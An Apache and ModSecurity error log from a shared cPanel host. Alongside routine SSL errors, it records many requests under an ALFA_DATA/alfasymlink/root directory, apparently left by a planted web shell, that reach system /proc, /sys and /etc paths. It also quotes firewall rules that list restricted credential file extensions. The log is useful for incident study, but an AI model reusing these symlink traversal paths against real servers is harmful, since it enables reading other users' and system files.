[Sun Oct 25 04:44:22.625995 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 52.205.113.104:16299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:44:29.040061 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 185.191.171.15:56074] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:44:42.405968 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 50.16.72.185:2069] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:45:22.561465 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 3.94.156.104:63030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/memory11/subsystem/drivers_probe
[Sun Oct 25 04:45:26.454636 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 34.225.87.80:64422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:45:32.060519 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 85.208.96.210:26456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/objects_partial
[Sun Oct 25 04:45:34.343739 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 54.209.100.30:63908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource0
[Sun Oct 25 04:45:38.680556 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.221.37.41:4206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:45:42.489397 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.157.84.74:16490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:45:46.528085 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.22.64.232:12117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:45:51.299149 2026] [core:error] [pid 2800301:tid 2800301] (13)Permission denied: [client 185.191.171.4:12112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/align
[Sun Oct 25 04:46:02.365349 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.210.114.189:22795] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:06.280425 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 98.82.38.120:26066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:10.824350 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.214.251.19:12466] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:14.368124 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 35.168.238.50:56454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:18.762647 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 52.203.237.170:11850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:01/PNP0303:00/subsystem/drivers_probe
[Sun Oct 25 04:46:26.596180 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 44.206.65.8:37542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:30.326824 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.156.248.117:45023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:38.323529 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.203.65.83:2053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:46:42.494343 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.194.165.45:11498] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:47:06.202510 2026] [authz_core:error] [pid 2800259:tid 2800259] [client 144.31.134.95:43706] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 04:47:14.392674 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 34.202.88.37:37850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:47:23.299401 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 85.208.96.205:22884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:47:30.706878 2026] [ssl:error] [pid 2800173:tid 2800173] (5)Input/output error: [client 54.221.203.24:34583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:47:54.624604 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.225.148.123:5109] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:47:58.809149 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 34.206.193.60:29999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:07.165227 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.221.222.168:21185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:15.110596 2026] [security2:error] [pid 2800300:tid 2800300] [client 3.210.29.96:7293] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/lib/esm/puppeteer/api/locators/"] [unique_id "at3CT9yUatkAjssgRUdw_wAAAA4"]
[Sun Oct 25 04:48:15.110640 2026] [security2:error] [pid 2800300:tid 2800300] [client 3.210.29.96:7293] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/lib/esm/puppeteer/api/locators/"] [unique_id "at3CT9yUatkAjssgRUdw_wAAAA4"]
[Sun Oct 25 04:48:23.119097 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 3.94.156.104:47883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:26.465222 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.221.50.71:61858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:30.481229 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 98.82.39.241:14306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:34.622018 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.22.105.143:9298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:42.486655 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.45.15.233:15651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:43.651495 2026] [authz_core:error] [pid 2800300:tid 2800300] [client 94.183.174.100:49346] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:48:46.682811 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 54.225.81.20:53182] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:48:58.744603 2026] [core:error] [pid 2800301:tid 2800301] (13)Permission denied: [client 52.21.62.139:64700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input0/device/driver/unbind
[Sun Oct 25 04:49:02.830334 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.217.82.254:45769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:06.799498 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 50.16.216.166:50547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:06.799684 2026] [security2:error] [pid 2799890:tid 2799890] [client 50.16.216.166:50547] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event0/subsystem/input0/properties"] [unique_id "at3CgmChNy-R5DAZy2u8FAAAAA0"]
[Sun Oct 25 04:49:06.799851 2026] [security2:error] [pid 2799890:tid 2799890] [client 50.16.216.166:50547] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event0/subsystem/input0/properties"] [unique_id "at3CgmChNy-R5DAZy2u8FAAAAA0"]
[Sun Oct 25 04:49:10.604087 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 44.215.61.66:17830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:14.523822 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.216.13.10:5827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:18.508365 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 54.163.136.244:46901] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:22.647156 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.210.213.220:52663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:30.549654 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.197.76.210:36623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:30.549863 2026] [security2:error] [pid 2799890:tid 2799890] [client 44.197.76.210:36623] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXSYBUS:01/power/runtime_status"] [unique_id "at3CmmChNy-R5DAZy2u8FQAAAA0"]
[Sun Oct 25 04:49:30.549884 2026] [security2:error] [pid 2799890:tid 2799890] [client 44.197.76.210:36623] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXSYBUS:01/power/runtime_status"] [unique_id "at3CmmChNy-R5DAZy2u8FQAAAA0"]
[Sun Oct 25 04:49:42.571952 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.2.4.213:47131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:46.598529 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 98.82.59.253:28199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:50.621309 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.83.23.103:17978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:49:54.696001 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.205.120.22:54819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:50:02.884528 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.236.185.101:45343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:50:16.023190 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 44.209.89.189:64937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/resource4
[Sun Oct 25 04:50:18.646916 2026] [security2:error] [pid 2800080:tid 2800080] [client 23.21.175.228:27201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/profile.d/scl-init.csh"] [unique_id "at3Cyuqg3wvAvSM2DxfLNAAAAAQ"]
[Sun Oct 25 04:50:18.646972 2026] [security2:error] [pid 2800080:tid 2800080] [client 23.21.175.228:27201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/profile.d/scl-init.csh"] [unique_id "at3Cyuqg3wvAvSM2DxfLNAAAAAQ"]
[Sun Oct 25 04:50:48.787428 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 185.191.171.8:59640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/ctor
[Sun Oct 25 04:50:50.746388 2026] [ssl:error] [pid 2800300:tid 2800300] (5)Input/output error: [client 3.93.211.16:40491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:51:02.744431 2026] [ssl:error] [pid 2800080:tid 2800080] (5)Input/output error: [client 3.232.82.72:23123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:51:02.828044 2026] [security2:error] [pid 2800301:tid 2800301] [client 178.16.54.93:52992] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at3C9m-vioONKq5GrvyFmgAAAA8"]
[Sun Oct 25 04:51:02.828088 2026] [security2:error] [pid 2800301:tid 2800301] [client 178.16.54.93:52992] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/"] [unique_id "at3C9m-vioONKq5GrvyFmgAAAA8"]
[Sun Oct 25 04:51:10.903924 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 52.6.232.201:23447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory13/subsystem/drivers_probe
[Sun Oct 25 04:51:22.683007 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 44.213.202.136:29664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:51:28.914349 2026] [security2:error] [pid 2800258:tid 2800258] [client 16.216.88.147:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "at3DEP4bXCHo2bDK5J21EQAAAAo"]
[Sun Oct 25 04:51:28.914831 2026] [security2:error] [pid 2800258:tid 2800258] [client 16.216.88.147:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "at3DEP4bXCHo2bDK5J21EQAAAAo"]
[Sun Oct 25 04:51:28.915207 2026] [security2:error] [pid 2800258:tid 2800258] [client 16.216.88.147:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "at3DEP4bXCHo2bDK5J21EQAAAAo"]
[Sun Oct 25 04:51:34.736335 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.204.253.129:6306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:51:38.735706 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 185.191.171.16:57660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/cpu_slabs
[Sun Oct 25 04:51:38.756580 2026] [authz_core:error] [pid 2800259:tid 2800259] [client 192.241.134.160:45694] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 04:51:42.893698 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 18.209.137.234:42254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:51:46.886978 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.83.56.1:64042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:51:52.634990 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 85.208.96.210:37236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/shrink
[Sun Oct 25 04:51:55.780468 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 3.215.59.93:35917] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:02.889391 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 44.221.227.90:49451] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/rescan
[Sun Oct 25 04:52:10.817439 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 107.20.25.33:39560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:14.927147 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 23.21.204.95:50453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/bind
[Sun Oct 25 04:52:22.797901 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 100.25.120.246:59609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/dw_dmac_pci/uevent
[Sun Oct 25 04:52:26.882292 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.23.213.182:14295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:30.875072 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 18.213.240.226:59482] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:35.140645 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.215.231.15:57614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:39.245357 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 23.23.214.190:29110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:44.942207 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 34.231.118.144:51344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:51.140313 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.194.226.74:40334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:52:59.269141 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 100.29.63.24:54449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:03.066421 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 54.197.82.195:12502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:07.347048 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 52.203.152.231:3376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/device:0b/eject
[Sun Oct 25 04:53:11.043366 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 98.82.40.168:19770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:00/physical_node/rescan
[Sun Oct 25 04:53:17.059981 2026] [security2:error] [pid 2800301:tid 2800301] [client 162.62.132.25:52530] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "at3DfW-vioONKq5GrvyFoAAAAA8"]
[Sun Oct 25 04:53:19.012082 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.209.89.189:60303] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:23.123048 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.232.39.98:3081] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:31.088141 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 54.92.171.106:32480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:41.482908 2026] [security2:error] [pid 2800259:tid 2800259] [client 185.191.171.4:46648] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/qcom/glymur/cdspr.jsn"] [unique_id "at3Dlb2dQNaDuK1aHdokiQAAAAs"]
[Sun Oct 25 04:53:41.482954 2026] [security2:error] [pid 2800259:tid 2800259] [client 185.191.171.4:46648] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/qcom/glymur/cdspr.jsn"] [unique_id "at3Dlb2dQNaDuK1aHdokiQAAAAs"]
[Sun Oct 25 04:53:45.833788 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 185.191.171.7:35510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:47.290018 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.231.45.47:55908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:51.504554 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 34.238.45.183:51445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:53:53.246155 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 185.191.171.19:31726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objs_per_slab
[Sun Oct 25 04:54:03.241891 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 54.157.84.74:6608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/remove
[Sun Oct 25 04:54:07.271877 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.231.193.38:37803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:16.032298 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 34.194.233.48:28916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:19.676811 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 98.83.72.38:6146] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:23.374896 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.232.11.247:52822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:27.513747 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 54.197.82.195:42854] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:31.203427 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.21.148.226:40300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:35.390929 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 52.203.237.170:53388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/remove
[Sun Oct 25 04:54:35.391409 2026] [security2:error] [pid 2800080:tid 2800080] [client 52.203.237.170:53388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/remove"] [unique_id "at3Dy-qg3wvAvSM2DxfLTQAAAAQ"]
[Sun Oct 25 04:54:35.391439 2026] [security2:error] [pid 2800080:tid 2800080] [client 52.203.237.170:53388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/remove"] [unique_id "at3Dy-qg3wvAvSM2DxfLTQAAAAQ"]
[Sun Oct 25 04:54:43.432852 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.3.156.186:56449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:51.375808 2026] [ssl:error] [pid 2799890:tid 2799890] (5)Input/output error: [client 54.204.12.115:19779] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:54:55.462494 2026] [security2:error] [pid 2800259:tid 2800259] [client 44.220.2.97:49011] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/ata2/ata_port/"] [unique_id "at3D372dQNaDuK1aHdokjAAAAAs"]
[Sun Oct 25 04:54:55.462571 2026] [security2:error] [pid 2800259:tid 2800259] [client 44.220.2.97:49011] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/ata2/ata_port/"] [unique_id "at3D372dQNaDuK1aHdokjAAAAAs"]
